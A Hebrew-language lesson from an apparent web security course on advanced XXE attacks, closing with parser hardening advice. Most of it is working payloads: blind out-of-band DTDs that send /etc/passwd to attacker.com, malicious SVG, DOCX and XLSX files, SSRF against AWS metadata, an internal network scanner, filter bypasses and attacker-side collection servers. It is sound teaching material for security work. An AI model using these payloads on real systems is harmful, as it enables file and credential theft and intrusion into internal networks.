לדלג לתוכן

הinjection XML מתקדמת - Advanced XXE

מבוא

בקורס הבסיסי למדנו על XXE (XML External Entity) רגיל - הגדרת entity חיצוני שמצביע לקובץ מקומי או לכתובת חיצונית. בשיעור הזה נעמיק לטכניקות מתקדמות: XXE עיוור עם extraction out-of-band, XXE דרך קבצים שונים, parameter entities, ועוד.

תזכורת - XXE בסיסי

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

XXE עיוור - Blind XXE

כאשר התגובה של השרת לא מציגה את תוכן ה-entity, אנחנו צריכים טכניקות extraction חלופיות.

OOB עם DTD חיצוני - Out-of-Band Exfiltration

העיקרון: נגרום לשרת הפגיע לשלוח את הנתונים לשרת שלנו.

שלב 1 - קובץ DTD בשרת התוקף

<!-- evil.dtd - hosted at http://attacker.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;

שלב 2 - ה-payload שנשלח לשרת הפגיע

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>
  <data>anything</data>
</root>

מה קורה

  1. השרת הפגיע טוען את evil.dtd מהתוקף
  2. ה-DTD מגדיר entity שקורא /etc/passwd
  3. ה-DTD מגדיר entity שעושה בקשה לשרת התוקף עם התוכן
  4. התוקף מקבל את תוכן הקובץ בלוג של השרת שלו

שרת מקבל בצד התוקף

from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith('/collect'):
            query = urllib.parse.urlparse(self.path).query
            data = urllib.parse.parse_qs(query).get('data', [''])[0]
            print(f"[+] Exfiltrated data:\n{data}")

        # also serves evil.dtd
        return super().do_GET()

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

שימוש ב-Burp Collaborator

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR-ID.oastify.com/evil.dtd">
  %xxe;
]>
<root><data>test</data></root>

XXE מבוסס שגיאות - Error-based XXE

כאשר OOB לא עובד (למשל חומת אש חוסמת תעבורה יוצאת), אפשר לחלץ נתונים דרך הודעות שגיאה.

DTD עם שגיאה מכוונת

<!-- error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

ה-payload

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/error.dtd">
  %xxe;
]>
<root><data>test</data></root>

התוצאה

Error: Failed to open file:///nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

תוכן הקובץ מופיע בהודעת השגיאה.


Parameter Entities - ישויות פרמטריות

Parameter entities (עם %) ניתנות לשימוש רק בתוך ה-DTD. הן חיוניות ל-blind XXE:

<!-- The difference between a regular entity and a parameter entity -->

<!-- Regular entity - used in XML -->
<!ENTITY regular "value">
<!-- Usage: &regular; -->

<!-- Parameter entity - used only in DTD -->
<!ENTITY % param "value">
<!-- Usage: %param; -->

למה צריך parameter entities?

<!-- This doesn't work - you can't define an entity inside an entity -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY exfil SYSTEM "http://attacker.com/?data=%file;">

<!-- This works - a parameter entity inside an external DTD -->
<!-- because an external DTD allows defining nested entities -->

XXE דרך העלאת קבצים

XXE דרך SVG

קבצי SVG הם XML. אם האפליקציה מקבלת העלאת SVG:

<!-- malicious.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
  <text x="10" y="50" font-size="20">&xxe;</text>
</svg>

אם השרת מעבד את ה-SVG (למשל ליצירת thumbnail), הוא יקרא את הקובץ.

XXE דרך DOCX

קבצי DOCX הם ארכיוני ZIP שמכילים קבצי XML. אפשר להזריק XXE לתוכם:

# Step 1 - create a valid DOCX
# or use an existing DOCX file

# Step 2 - extract the DOCX
mkdir docx_contents && cd docx_contents
unzip ../document.docx

# Step 3 - edit [Content_Types].xml or word/document.xml
<!-- word/document.xml with XXE -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE document [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p>
      <w:r>
        <w:t>&xxe;</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>
# Step 4 - repackage into a DOCX
zip -r ../malicious.docx .

XXE דרך XLSX

# Extract the XLSX
mkdir xlsx_contents && cd xlsx_contents
unzip ../spreadsheet.xlsx

# Edit xl/workbook.xml
<!-- xl/workbook.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE workbook [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <sheets>
    <sheet name="&xxe;" sheetId="1" />
  </sheets>
</workbook>

XXE דרך PDF (עם XMP metadata)

<!-- XMP metadata inside a PDF -->
<?xpacket begin="" id="">
<!DOCTYPE x [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
  <rdf:Description>&xxe;</rdf:Description>
</x:xmpmeta>
<?xpacket end="w"?>

XXE בבקשות SOAP

בקשות SOAP הן XML ולכן פגיעות ל-XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <GetUser>
      <username>&xxe;</username>
    </GetUser>
  </soapenv:Body>
</soapenv:Envelope>

XXE ל-SSRF

שימוש ב-XXE כדי לגשת לשירותים פנימיים:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

סריקת רשת פנימית

import requests

url = "http://target.com/api/parse"

for i in range(1, 255):
    payload = f"""<?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "http://192.168.1.{i}/">
    ]>
    <root><data>&xxe;</data></root>"""

    try:
        response = requests.post(url, data=payload,
                                headers={"Content-Type": "application/xml"},
                                timeout=3)
        if response.status_code == 200 and len(response.text) > 100:
            print(f"[+] Host alive: 192.168.1.{i}")
    except:
        pass

גישה ל-AWS Metadata

<!-- Reading credentials from AWS -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<root><data>&xxe;</data></root>

XXE בפרסרים שונים

libxml2 (PHP, Python)

// PHP - vulnerable by default in old versions
$xml = simplexml_load_string($input);

// PHP - vulnerable if LIBXML_NOENT is enabled
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NOENT);

SAX Parser (Java)

// Vulnerable - SAX parser in Java
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

// Fixed - disable DTD and external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

DOM Parser (Java)

// Vulnerable
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(inputStream);

// Fixed
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

.NET (C#)

// Vulnerable - old versions of .NET
XmlDocument doc = new XmlDocument();
doc.LoadXml(userInput);

// Fixed
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;  // disables entity resolution
doc.LoadXml(userInput);

// or with XmlReaderSettings
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;

טכניקות bypass

הbypass חסימת SYSTEM

<!-- If SYSTEM is blocked, try PUBLIC -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0//EN" "file:///etc/passwd">
]>
<root>&xxe;</root>

הbypass חסימת פרוטוקול file

<!-- Using alternative protocols -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "expect://id">
<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">

XInclude

כאשר אין שליטה על כל מסמך ה-XML, אבל יש שליטה על ערך שמוכנס ל-XML:

<!-- XInclude - doesn't require a DOCTYPE -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

UTF-7 Encoding

<?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-
  +ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AFs-+AD4-
+ADw-root+AD4-+ACY-xxe;+ADw-/root+AD4-

בניית DTD זדוני לextraction OOB

DTD מלא לextraction קבצים

<!-- exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;

DTD לextraction בבלוקים (לקבצים גדולים)

<!-- chunk1.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/c?d=%file;'>">
%eval;
%exfil;

DTD לextraction עם FTP

<!-- ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;

שרת FTP מקבל בצד התוקף:

import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 21))
server.listen(1)

while True:
    conn, addr = server.accept()
    conn.send(b'220 FTP Ready\r\n')
    while True:
        data = conn.recv(1024)
        if not data:
            break
        print(f"[+] Received: {data.decode()}")
        if data.startswith(b'USER'):
            conn.send(b'331 OK\r\n')
        elif data.startswith(b'PASS'):
            conn.send(b'230 OK\r\n')
        elif data.startswith(b'RETR') or data.startswith(b'CWD'):
            conn.send(b'550 Not found\r\n')
        else:
            conn.send(b'200 OK\r\n')
    conn.close()

הגנה מפני XXE

עקרון 1 - ניטרול DTDs לחלוטין

# Python - lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
doc = etree.fromstring(xml_input, parser)

# Python - defusedxml (recommended)
import defusedxml.ElementTree as ET
doc = ET.fromstring(xml_input)
// PHP - disable external entities
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($input);

// PHP 8+ - safe by default, but worth verifying
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NONET);
// Java - full mitigation
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

עקרון 2 - שימוש ב-JSON במקום XML

# Instead of accepting XML
@app.route('/api/data', methods=['POST'])
def process():
    data = request.get_json()  # simple and safe JSON
    return jsonify(result=process_data(data))

עקרון 3 - ולידציה של סוג קובץ

# Check that uploaded files really are what they claim to be
import magic

def validate_upload(file):
    mime = magic.from_buffer(file.read(1024), mime=True)
    file.seek(0)

    allowed_mimes = {'image/png', 'image/jpeg', 'image/gif'}
    if mime not in allowed_mimes:
        raise ValueError(f"Invalid file type: {mime}")

סיכום

XXE מתקדם מרחיב את משטח התקיפה הרבה מעבר ל-XXE בסיסי:

  • Blind XXE - extraction נתונים דרך OOB כשאין פלט ישיר
  • Error-based XXE - extraction דרך הודעות שגיאה
  • XXE בקבצים - SVG, DOCX, XLSX כולם מכילים XML
  • Parameter entities - חיוניות ל-blind XXE דרך DTD חיצוני
  • XXE ל-SSRF - גישה לשירותים פנימיים ול-cloud metadata
  • ההגנה הטובה ביותר היא ניטרול מוחלט של DTDs ו-external entities